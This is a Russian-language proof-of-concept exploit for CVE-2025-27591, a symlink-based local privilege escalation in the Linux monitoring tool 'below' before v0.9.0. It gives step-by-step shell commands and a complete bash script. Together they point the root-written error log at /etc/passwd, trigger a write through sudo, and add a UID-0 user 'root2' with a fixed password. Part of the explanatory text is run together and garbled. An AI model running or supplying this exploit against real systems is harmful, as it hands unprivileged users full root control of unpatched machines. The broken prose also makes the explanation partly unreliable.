
Локальное повышение привилегий через `below` (CVE-2025-27591) - PoC Exploit
Below — это инструмент Linux для записи и отображения системных данных, таких как использование аппаратных средств и метрики cgroup.
В версиях до v0.9.0 systemd-сервис Below запускается с привилегиями root и создаёт общедоступные для записи каталоги и файлы логов в /var/log/below. Эта небезопасная конфигурация позволяет осуществлять атаки через симлинки, которые дают возможность непривилегированному локальному пользователю повысить свои привилегии до root.
Этой проблеме присвоен CVE-2025-27591.
Разработчики исправили её в версии v0.9.0.
/var/log/below/var/log/below имеет права 0777 во время выполнения./var/log/below/error_root.log с правами 0666./etc/passwd).Такое поведение обходит защиту ядра protected_symlinks, поскольку не применяется sticky-бит.
Направив error_root.log на /etc/passwd, мы можем внедрить нового root-пользователя с известным паролем.
Шаг 1: Создайте резервную копию /etc/passwd.
Всегда делайте резервную копию перед изменением системных файлов:
cp /etc/passwd /tmp/passwd.bak
Шаг 2: Сгенерируйте вредоносную запись пользователя
HASH=$(openssl passwd -6 'rooted123')
echo "root2:$HASH:0:0:root:/root:/bin/bash" > /tmp/payload
Шаг 3: Создайте симлинк на уязвимый лог
rm -f /var/log/below/error_root.log
ln -s /etc/passwd /var/log/below/error_root.log
Шаг 4: Инициируйте создание лога
sudo /usr/bin/below replay --time "invalid" >/dev/null 2>&1
Шаг 5: Перезапишите /etc/passwd
cat /tmp/payload > /var/log/below/error_root.log
Шаг 6: Переключитесь на нового root-пользователя
su root2
# password: rooted123
#!/bin/bash
# CVE-2025-27591 Exploit - Privilege Escalation via 'below'
TARGET="/etc/passwd"
LINK_PATH="/var/log/below/error_root.log"
TMP_PAYLOAD="/tmp/payload"
BACKUP="/tmp/passwd.bak"
echo "[*] CVE-2025-27591 Privilege Escalation Exploit"
# Check for sudo access to below
echo "[*] Checking sudo permissions..."
if ! sudo -l | grep -q '/usr/bin/below'; then
echo "[!] 'below' is not available via sudo. Exiting."
exit 1
fi
# Backup current /etc/passwd
echo "[*] Backing up /etc/passwd to $BACKUP"
cp /etc/passwd "$BACKUP"
# Generate password hash for 'root2' user (password: rooted123)
echo "[*] Generating password hash..."
HASH=$(openssl passwd -6 'rooted123')
# Prepare malicious passwd line
echo "[*] Creating malicious passwd line..."
echo "root2:$HASH:0:0:root:/root:/bin/bash" > "$TMP_PAYLOAD"
# Create symlink
echo "[*] Linking $LINK_PATH to $TARGET"
rm -f "$LINK_PATH"
ln -sf "$TARGET" "$LINK_PATH"
# Trigger log creation with invalid --time to force below to recreate the log
echo "[*] Triggering 'below' to write to symlinked log..."
sudo /usr/bin/below replay --time "invalid" >/dev/null 2>&1
# Overwrite passwd file via symlink
echo "[*] Injecting malicious user into /etc/passwd"
cat "$TMP_PAYLOAD" > "$LINK_PATH"
# Test access
echo "[*] Try switching to 'root2' using password: rooted123"
su root2
